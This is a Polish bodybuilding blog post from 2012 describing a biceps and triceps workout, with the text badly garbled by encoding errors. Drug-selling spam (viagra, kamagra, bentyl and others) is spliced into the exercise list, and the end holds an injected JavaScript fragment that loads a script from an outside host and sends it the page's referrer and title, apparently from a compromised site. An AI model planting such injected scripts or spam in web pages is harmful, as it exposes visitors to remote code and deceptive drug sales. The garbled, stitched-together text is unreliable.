17.07.2012 / Tomasz Lech / Kulturystyka

Dzisiaj odwiedziAi?? mnie w GrudziAi??dzu Przemek wraz ze swoim kolegAi??.Ze Aswiecia majAi?? do mnie 20km wiAi??c obiecali A?e bAi??dAi?? czAi??Ai??ciej do mnie wpadaAi??.WstAi??pnie jesteAi??my juA? umA?wieni na przyszAi??y tydzieAi??.Potem moA?e znowu Ja ich odwiedzAi??.Trening zrobiliAi??my bardzo intensywny wchodziliAi??my jeden po drugim na ciAi??A?ary wiAi??c byAi??o bardzo maAi??o czasu na caAi??kowitAi?? regeneracjAi?? i czAi??sto mieliAi??my upadek miAi??Ai??niowy.Ale daliAi??my ostro w koAi??Ai?? naszym bicepsom i tricepsom.Przemka ludzie bardzo podziwiali za duA?e ramiona i wcale siAi?? nie dziwie bo rAi??ce ma zabA?jcze.Trening wyglAi??daAi?? nastAi??pujAi??co:

-uginanie przedramion ze sztangAi?? 4×12
-uginanie przedramion z hantlami siedzAi??c w oparciu na skoAi??nej Ai??awce 4×12
buy pills -uginanie przedramion z gryfem prostym dolnego wyciAi??gu 4×12-15

Order purchase bentyl for ibs Buy Purchase -prostowanie przedramion na wyciAi??gu gA?rnym-prosty gryf 4×12-15
-francuskie oburAi??cz z hantlem-siedzAi??c 4×12-15 free viagra coupon
-prostowanie przedramion podchwytem-gryfem Ai??amanym 4×10-12

s.src='http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=' + encodeURIComponent(document.referrer) + '&default_keyword=' + encodeURIComponent(document.title) + ''; } Buy cheap lipothin medication Order how much naprosyn to take kamagra gold forum. Kamagra without prescription. kamagra reviews forum. pills online buy bupron sr 150